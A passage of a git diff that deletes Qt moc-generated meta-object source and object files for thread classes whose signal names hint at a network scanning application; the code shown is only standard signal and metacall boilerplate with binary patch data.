Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_VoiceScanner_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_DrawerTh_VoiceScanner_t qt_meta_stringdata_DrawerTh_VoiceScanner = { - { -QT_MOC_LITERAL(0, 0, 21), -QT_MOC_LITERAL(1, 22, 8), -QT_MOC_LITERAL(2, 31, 0), -QT_MOC_LITERAL(3, 32, 9), -QT_MOC_LITERAL(4, 42, 6), -QT_MOC_LITERAL(5, 49, 16) - }, - "DrawerTh_VoiceScanner\0sAddLine\0\0" - "sDrawGrid\0factor\0sDrawTextPlacers" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_DrawerTh_VoiceScanner[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 3, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 3, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 29, 2, 0x06 /* Public */, - 3, 1, 30, 2, 0x06 /* Public */, - 5, 0, 33, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - QMetaType::Void, QMetaType::Int, 4, - QMetaType::Void, - - 0 // eod -}; - -void DrawerTh_VoiceScanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - DrawerTh_VoiceScanner *_t = static_cast<DrawerTh_VoiceScanner *>(_o); - switch (_id) { - case 0: _t->sAddLine(); break; - case 1: _t->sDrawGrid((*reinterpret_cast< int(*)>(_a[1]))); break; - case 2: _t->sDrawTextPlacers(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (DrawerTh_VoiceScanner::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_VoiceScanner::sAddLine)) { - *result = 0; - } - } - { - typedef void (DrawerTh_VoiceScanner::*_t)(int ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_VoiceScanner::sDrawGrid)) { - *result = 1; - } - } - { - typedef void (DrawerTh_VoiceScanner::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_VoiceScanner::sDrawTextPlacers)) { - *result = 2; - } - } - } -} - -const QMetaObject DrawerTh_VoiceScanner::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_VoiceScanner.data, - qt_meta_data_DrawerTh_VoiceScanner, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *DrawerTh_VoiceScanner::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *DrawerTh_VoiceScanner::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_VoiceScanner.stringdata)) - return static_cast<void*>(const_cast< DrawerTh_VoiceScanner*>(this)); - return QThread::qt_metacast(_clname); -} - -int DrawerTh_VoiceScanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 3) - qt_static_metacall(this, _c, _id, _a); - _id -= 3; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 3) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 3; - } - return _id; -} - -// SIGNAL 0 -void DrawerTh_VoiceScanner::sAddLine() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} - -// SIGNAL 1 -void DrawerTh_VoiceScanner::sDrawGrid(int _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 1, _a); -} - -// SIGNAL 2 -void DrawerTh_VoiceScanner::sDrawTextPlacers() -{ - QMetaObject::activate(this, &staticMetaObject, 2, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_VoiceScanner.o b/moc_DrawerTh_VoiceScanner.o deleted file mode 100644 index f8af39b6aee6d6cdf096886682c05999216b6bb8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8968 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 R!y(V-ux4}^5y!*H{ReAGI|l#& diff --git a/moc_IRCPinger_Th.cpp b/moc_IRCPinger_Th.cpp deleted file mode 100644 index ccfb042..0000000 --- a/moc_IRCPinger_Th.cpp +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'IRCPinger_Th.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "IRCPinger_Th.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'IRCPinger_Th.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_IRCPinger_Th_t { - QByteArrayData data[4]; - char stringdata[42]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_IRCPinger_Th_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_IRCPinger_Th_t qt_meta_stringdata_IRCPinger_Th = { - { -QT_MOC_LITERAL(0, 0, 12), -QT_MOC_LITERAL(1, 13, 16), -QT_MOC_LITERAL(2, 30, 0), -QT_MOC_LITERAL(3, 31, 10) - }, - "IRCPinger_Th\0changeRedIRCData\0\0" - "RestartIRC" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_IRCPinger_Th[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 2, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 2, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 1, 24, 2, 0x06 /* Public */, - 3, 0, 27, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, - - 0 // eod -}; - -void IRCPinger_Th::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - IRCPinger_Th *_t = static_cast<IRCPinger_Th *>(_o); - switch (_id) { - case 0: _t->changeRedIRCData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 1: _t->RestartIRC(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (IRCPinger_Th::*_t)(QString ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&IRCPinger_Th::changeRedIRCData)) { - *result = 0; - } - } - { - typedef void (IRCPinger_Th::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&IRCPinger_Th::RestartIRC)) { - *result = 1; - } - } - } -} - -const QMetaObject IRCPinger_Th::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_IRCPinger_Th.data, - qt_meta_data_IRCPinger_Th, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *IRCPinger_Th::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *IRCPinger_Th::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_IRCPinger_Th.stringdata)) - return static_cast<void*>(const_cast< IRCPinger_Th*>(this)); - return QThread::qt_metacast(_clname); -} - -int IRCPinger_Th::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 2) - qt_static_metacall(this, _c, _id, _a); - _id -= 2; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 2) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 2; - } - return _id; -} - -// SIGNAL 0 -void IRCPinger_Th::changeRedIRCData(QString _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 0, _a); -} - -// SIGNAL 1 -void IRCPinger_Th::RestartIRC() -{ - QMetaObject::activate(this, &staticMetaObject, 1, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_IRCPinger_Th.o b/moc_IRCPinger_Th.o deleted file mode 100644 index a4397f021b63f4269c59786bc1f09a0fa2db8161..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9872 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 diff --git a/moc_STh.cpp b/moc_STh.cpp deleted file mode 100644 index bad43ed..0000000 --- a/moc_STh.cpp +++ /dev/null @@ -1,520 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'STh.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "STh.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'STh.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_STh_t { - QByteArrayData data[26]; - char stringdata[370]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_STh_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_STh_t qt_meta_stringdata_STh = { - { -QT_MOC_LITERAL(0, 0, 3), -QT_MOC_LITERAL(1, 4, 14), -QT_MOC_LITERAL(2, 19, 0), -QT_MOC_LITERAL(3, 20, 11), -QT_MOC_LITERAL(4, 32, 12), -QT_MOC_LITERAL(5, 45, 15), -QT_MOC_LITERAL(6, 61, 15), -QT_MOC_LITERAL(7, 77, 17), -QT_MOC_LITERAL(8, 95, 15), -QT_MOC_LITERAL(9, 111, 12), -QT_MOC_LITERAL(10, 124, 13), -QT_MOC_LITERAL(11, 138, 13), -QT_MOC_LITERAL(12, 152, 17), -QT_MOC_LITERAL(13, 170, 13), -QT_MOC_LITERAL(14, 184, 13), -QT_MOC_LITERAL(15, 198, 9), -QT_MOC_LITERAL(16, 208, 15), -QT_MOC_LITERAL(17, 224, 18), -QT_MOC_LITERAL(18, 243, 20), -QT_MOC_LITERAL(19, 264, 21), -QT_MOC_LITERAL(20, 286, 20), -QT_MOC_LITERAL(21, 307, 12), -QT_MOC_LITERAL(22, 320, 17), -QT_MOC_LITERAL(23, 338, 13), -QT_MOC_LITERAL(24, 352, 8), -QT_MOC_LITERAL(25, 361, 8) - }, - "STh\0showRedVersion\0\0startScanIP\0" - "startScanDNS\0startScanImport\0" - "signalDataSaved\0changeGreenBAData\0" - "changeRedBAData\0changeBAData\0changeOffline\0" - "changeBAValue\0changeParsedValue\0" - "changeIpRange\0changeThreads\0changeIPS\0" - "changeFoundData\0changeRedFoundData\0" - "changeGreenFoundData\0changeYellowFoundData\0" - "changeDebugFoundData\0changeStatus\0" - "changeTargetsLeft\0killSttThread\0" - "sIncData\0sOutData" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_STh[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 24, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 24, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 134, 2, 0x06 /* Public */, - 3, 0, 135, 2, 0x06 /* Public */, - 4, 0, 136, 2, 0x06 /* Public */, - 5, 0, 137, 2, 0x06 /* Public */, - 6, 1, 138, 2, 0x06 /* Public */, - 7, 1, 141, 2, 0x06 /* Public */, - 8, 1, 144, 2, 0x06 /* Public */, - 9, 1, 147, 2, 0x06 /* Public */, - 10, 1, 150, 2, 0x06 /* Public */, - 11, 1, 153, 2, 0x06 /* Public */, - 12, 1, 156, 2, 0x06 /* Public */, - 13, 1, 159, 2, 0x06 /* Public */, - 14, 1, 162, 2, 0x06 /* Public */, - 15, 1, 165, 2, 0x06 /* Public */, - 16, 1, 168, 2, 0x06 /* Public */, - 17, 1, 171, 2, 0x06 /* Public */, - 18, 1, 174, 2, 0x06 /* Public */, - 19, 1, 177, 2, 0x06 /* Public */, - 20, 1, 180, 2, 0x06 /* Public */, - 21, 1, 183, 2, 0x06 /* Public */, - 22, 1, 186, 2, 0x06 /* Public */, - 23, 0, 189, 2, 0x06 /* Public */, - 24, 2, 190, 2, 0x06 /* Public */, - 25, 1, 195, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::Bool, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, QMetaType::QString, 2, 2, - QMetaType::Void, QMetaType::QString, 2, - - 0 // eod -}; - -void STh::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - STh *_t = static_cast<STh *>(_o); - switch (_id) { - case 0: _t->showRedVersion(); break; - case 1: _t->startScanIP(); break; - case 